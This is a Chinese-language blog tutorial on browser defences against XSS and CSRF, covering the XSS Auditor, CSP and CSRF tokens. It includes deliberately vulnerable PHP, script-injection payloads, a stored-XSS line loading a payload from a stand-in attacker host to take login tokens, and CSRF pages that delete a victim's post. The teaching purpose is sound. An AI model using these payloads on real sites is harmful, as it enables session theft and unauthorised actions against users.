隨著各瀏覽器安全功能的提高,前端防禦面臨的問題也沒有之前那麼複雜,但瀏覽器的防禦措施並不能百分百的保證網站的安全。瀏覽器的XSS Auditor,使得反射型xss幾乎被廢;CSP(Content-Security-Policy)、X-XSS-Protection可以禁止不可信源的指令碼執行!無疑,這對xss攻擊是一記重拳。但是道高一尺,魔高一丈,尤其是在安全界,永遠應該記住的一句箴言就是“只有相對的安全,沒有絕對的安全”。本文重點介紹現代瀏覽器的安全特性以及瀏覽器依然不能防禦的攻擊手段。
XSS
XSS攻擊:跨站指令碼攻擊(Cross Site Scripting),為不和 CSS混淆,故將跨站指令碼攻擊縮寫為XSS。
為什麼叫跨站指令碼?簡單來說,就是在一個網站上執行了該網站之外的js指令碼(當然,開發者自已引用的可信源的js不算,比如使用了cdn的 jQuery )。
一個經典的例子
假設有一個搜尋頁面,關鍵字以Get方法傳遞。假設,搜尋頁面在輸出結果時會無過濾的將使用者的關鍵字回顯到網頁上,大致邏輯如下:
//xss.php
<?php
if(isset($_REQUEST["wd"]))
$wd=$_REQUEST["wd"];
if($wd){
echo "<div>關鍵字'$wd'搜尋的結果如下:</div>"
}
...
?>複製程式碼
然後搜尋請求的連結是:
http://localhost/test/haker/xss.php?wd=<script>alert("xss")</script>複製程式碼
或者為了隱蔽編一下碼:
http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22%22)%3C/script%3E複製程式碼
在es6下,你甚者可以用unicode碼點。
如果是在幾年前,你的瀏覽器大致都會彈出這樣一個視窗:
然而,現在不行了,在chrome和safari下,如果發現響應中包含請求引數中相同的程式碼字串,它們就會拒絕執行這些程式碼,你會收到如下的錯誤提示:
The XSS Auditor refused to execute a script in 'http://localhost/test/haker/xss.php?wd=ddd%3Cscript%3Ealert(%22xss%22)%3C/script%3E' because its source code was found within the request. The auditor was enabled as the server sent neither an 'X-XSS-Protection' nor 'Content-Security-Policy' header.複製程式碼
XSS Auditor
xss auditor是Chrome 和 Safari中內建的一個防禦xss攻擊的功能模組,相當於一個審計器,有預設規則,主要功能就是針對上述這種情況。此功能預設是開啟的,當然也可以關閉,需要在response header中顯式指定:
//關閉 xss auditor
X-XSS-Protection: 0複製程式碼
當然,更強大的是,觸發後還可以將詳情上報,便於分析跟蹤:
X-XSS-Protection: 1; report=http://example.com/your_report_URI複製程式碼
也可以使用block模式:一旦觸發,當前頁面就會終止,並同時展示一個空白頁面給使用者:
X-XSS-Protection: 1; mode=block複製程式碼
如果將請求換成post,xss auditor還會被觸發嗎?答案是:可以!
XSS Auditor的缺點
我們將後臺邏輯改一下,給每個">"後加一個分號。
<?php
if(isset($_REQUEST["wd"]))
$wd=str_replace(">",">;",$_REQUEST["wd"]);
if($wd){
echo "<div>關鍵字'$wd'搜尋的結果如下:</div>"
}
?>複製程式碼
然後依然是之前的連結,重新整理:
成功了,當然本例只是一個說明,通常情況下,我們都會對使用者提交的資料進行一些處理,如果這些處理導致和提交的內容不一樣了,但是仍然可以執行,比如像本例一樣。那麼xss auditor 就無能為力了。不過xss auditor本身的智慧度也挺高,像字元編碼,大小寫變化這種變化依然躲不過xss auditor。
儲存型xss
比如網站有個留言板功能,但後臺未對使用者輸入進行過濾,攻擊者可以在留言編輯框中輸入:
<script src="http://www.hacker.org/xss.payload.js"></script>複製程式碼
然後再隨便輸入點其它文字,提交留言,提交成功後,內容將會被儲存到伺服器資料庫,只要再訪問留言列表,這個就會被插入到網頁中,xss.payload.js中的程式碼就可以執行,如果訪問的使用者都是已登入使用者,xss.payload.js可以獲取老瀏覽使用者的資訊,如的登入token、使用者的個人資料等,payload甚至可以拉一個全家桶下來。以前的防禦手段主要是對使用者輸入進行過濾如:去除html標籤,實體化,關鍵字過濾等等,這樣一來,最終的結果就是後臺的大多數程式碼都是在做字串驗證,非常的讓人不舒服。所以W3 org引入了CSP:
Content-Security-Policy
Content-Security-Policy 是W3 org草案,主要是用來定義頁面可以載入哪些資源,減少 XSS 的發生,chrome已經支援,詳情可以參考 Chrome CSP 官方文件。這樣一來,從源頭上杜絕了不可信源的xss payload載入的可能型。比如下面的配置只允許載入本域下的指令碼:
Content-Security-Policy: default-src 'self'複製程式碼
這樣即使頁面被注入了外部指令碼,瀏覽器也會拒絕執行,你會收到如下的錯誤提示:
Refused to load the script 'http://www.hacker.org/xss.payload.js' because it violates the following Content Security Policy directive: "default-src 'self'". Note that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.複製程式碼
當然,CSP能指定的規則是很多的,甚至也可以禁止內聯指令碼執行,詳情請移步 W3 CSP。 瀏覽器的支援情況請移步 Can I use Content Security Policy。
CSRF
複製一段百度的介紹:CSRF(Cross-site request forgery跨站請求偽造,也被稱為“One Click Attack”或者Session Riding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用。儘管聽起來像跨站指令碼(XSS),但它與XSS非常不同,並且攻擊方式幾乎相左。XSS利用站點內的信任使用者,而CSRF則通過偽裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防範的資源也相當稀少)和難以防範,所以被認為比XSS更具危險性。
CSRF攻擊流程
- 使用者登入受信任網站A。
- 在不退出 A的情況下,訪問危險網站B(攻擊者網站或攻擊者掛馬的網站)。
舉個例子,假設A網站是個部落格網站,使用者登入之後可以刪除自己的部落格,刪除的連結如下:
http://www.a.com/resource/delete/{blogid}複製程式碼
先看看後臺登入邏輯:使用者登入成功後,建立session,然後將session id通過cookie傳給瀏覽器,這樣便可以跟蹤使用者登入狀態,以後所有的操作都是登入態的操作。刪除部落格時後臺的邏輯是這樣的:刪除之前,先檢驗使用者身份,如果身份校驗通過則刪除,如果未登入,則重定向到登入頁面。
假設攻擊者在這篇部落格下面評論如下:
“hi 你好,讀了你的部落格很受益,我有一個問題,請大牛解惑,連結是b,多謝️!”
看了這條評論後,你內心很滿足,於是決定指導一下這位粉絲,你點了連結,回答了問題,自信滿滿地返回到自己的部落格,然後突然發現 “部落格找不到了”! 怪哉,why? 中招了!
問題就在你剛才訪問過的網頁。假設你的部落格id=8, b網頁內容大致如下:
<html>
...
<img src='http://www.a.com/resource/delete/8'/>
...
<html>複製程式碼
網頁中img src正是刪除你的部落格連結,或許你會說,後臺不是有身份認證麼?是的,後臺的確有身份認證,但此時訪問b,你並沒有退出登入,而此時b中瀏覽器又發起了 www.a.com/resource/de… 請求(同時會傳送該域下的cookie),這樣一來,後臺使用者認證會通過,所以刪除會成功。ps:是不是以後可以用這招去刪帖了。。。
如果是post請求呢?
<html>
...
<form method="post" action="http://www.a.com/resource/delete/">
<input type="hidden" name=id value=8>
</form>
<script>
$("form").submit()
</script>
...
<html>複製程式碼
在b頁面中,製造一個表單,然後直接觸發提交,依然可以!
CSRF攻擊防禦
隨機值法
後臺對每一次請求都生成一個隨機值,儲存在session中,然後再將該值傳送給頁面,可以在cookie中,也可以在一個隱藏的表單中(大多數後臺框架都是這麼做的,如php的symfony、laraval),甚至也可以是在驗證碼中。下面以表單為例來說明:
<?php
$hash = random(100000);
?>
<form method="post" action="delete/">
<input type="id" name="8">
<input type="hidden" name="hash" value="<?php $hash; ?>">
<input type="submit" value="Submit">
</form>複製程式碼
然後提交時,服務端再對比hash值是不是和session中一樣。 攻擊者網站時無法預估這個hash的。但是請注意,在上面所述的攻擊場景中,把hash存在cookie中時不行的。
檢測refer
後臺在進行刪除操作之前先判斷refer,如果不是本域的請求,則直接拒絕,這種做法很有效。但是,想想這樣一個場景:如果部落格允許評論裡面插圖,攻擊者完全可以將 img插入到原網站中,這樣refer還是在當下域名,部落格依然會被刪除。所有可能引入連結的html標籤都是不可信的,如script、link,後臺過濾策略一定要考慮到。
總結
其實可以看到,上面的攻擊雖說現場是在前端,但是本質還是服務端驗證不足、過濾不全導致。對於前端來說,防禦所做的事有限,但是站在攻擊者角度來講,又必需精通前端。今天只是web滲透的皮毛,如果大家有興趣,可以在評論中留言,以後也可以多分享一些伺服器滲透、作業系統安全方面的,當然根據期待度以及我的時間而定。
最後: 剛開部落格,求關注、求贊!